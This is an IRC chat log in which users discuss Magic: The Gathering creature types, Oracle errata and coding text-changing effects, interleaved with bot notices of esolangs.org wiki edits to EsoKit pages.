23:02:53 <b_jonas> tswett: that's easy. M-Hack on Eyeblight's Ending.
23:03:36 <tswett> Man, implementing text-changing effects is gonna be interesting.
23:04:30 <tswett> Instead of a card referring to "Color.Red", it'd have to refer to "this.ModifiedTextColors.Red" to get the color which the printed word "red" currently refers to due to text-changing effects.
23:04:53 <tswett> A stupid way of doing that would be to have a member called "Color" which shadows the class... or would the class shadow the member? I don't remember.
23:08:20 <b_jonas> is there only one card with four or more creature types on the type line according to current oracle text?
23:08:24 <b_jonas> how the heck did they do that?
23:08:30 <b_jonas> I thought there had to be dozens of such cards
23:09:25 <b_jonas> it's a Centaur Druid Scout Archer
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23:10:02 <b_jonas> mind you, Figure of Destiny evolves (not as in the rules term) to a Kithkin Spirit Warrior Avatar
23:10:38 <tswett> Wonder if they errata'd Scout in because it has "Scout" in the title and Archer in because it's depicted with a bow and arrow.
23:11:20 <b_jonas> probably around the Great Creature Type Update at Lorwyn
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23:12:28 <b_jonas> but I thought there had to be a lot of creatures with four creature types in the oracle text. not printed, mind you, four creature types wouldn't fit on the type line except in very unusual circumstances, but oracled after the fact.
23:13:42 <b_jonas> hmm, ok, maybe not _that_ unusual
23:15:42 <b_jonas> "Creature – Kor Nomad Solider Zombie" or "Creature – Kor Shaman Elder Scout" could probably fit, if the expansion symbol isn't a wide one
23:16:22 <tswett> Assembly-Worker Dreadnought Homunculus Shapeshifter.
23:16:33 <tswett> That's what I'm going to name my first child. Assembly-Worker Dreadnought Homunculus Shapeshifter Swett.
23:17:00 <tswett> "David?" "Here." "Maureen?" "Here." "Assembly-Worker?" "Here."
23:17:53 <b_jonas> what if Sauron was a Legendary Creature – God Eye ?
23:18:25 <b_jonas> Elder is one of the crazier creature types by the way
23:18:50 <b_jonas> only the Elder Dragons have it now
23:21:34 <zzo38> And the cards that has all creature types too, would have to have it too
23:23:53 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] N http://esolangs.org/w/index.php?oldid=45041 * Hppavilion1 * (+3137) Created page. Next step is to document what each command is and how it is mapped to the EsoKit.ek library.
23:24:41 <b_jonas> Nightmare and Horror are strange creature types too
23:24:46 <b_jonas> I'm not sure how they're supposed to work
23:25:05 <b_jonas> what is it that makes a creature a nightmare, a horror, or a nightmare horror?
23:25:57 <b_jonas> many of the Horrors seem to be what would count as demons in D&D
23:26:01 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45042&oldid=45041 * Hppavilion1 * (+95) Changed command form
23:26:35 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45043&oldid=45042 * Hppavilion1 * (+1) Fixed a < to <
23:27:46 <hppavilion[1]> Is there a way to use wikimarkup or parserfunctions to change how the title appears?
23:29:03 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45044&oldid=45043 * Hppavilion1 * (+29) Attempted to fix the page title
23:29:24 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45045&oldid=45044 * Hppavilion1 * (+8) Attempted to fix the page title
23:30:48 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45046&oldid=45045 * Hppavilion1 * (-37) Gave up on the page title; leaving it as-is (I suppose it makes more visible logical sense this way)
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23:34:32 <HackEgo> [wiki] [[Special:Log/move]] move * Hppavilion1 * moved [[Material Measurements]] to [[EsoKit/EsoKit.ek.math.mm]]: Incorporated into a new library
23:37:31 <HackEgo> [wiki] [[EsoKit/EsoKit.ek.math.mm]] http://esolangs.org/w/index.php?diff=45050&oldid=45048 * Hppavilion1 * (+377) Incorporated properly into the EsoKit.
23:39:02 <HackEgo> [wiki] [[EsoKit/EsoKit.ek.math.mm]] M http://esolangs.org/w/index.php?diff=45051&oldid=45050 * Hppavilion1 * (+1) Formatting
23:54:31 <HackEgo> [wiki] [[Pantheon]] N http://esolangs.org/w/index.php?oldid=45052 * Hppavilion1 * (+549) Created Page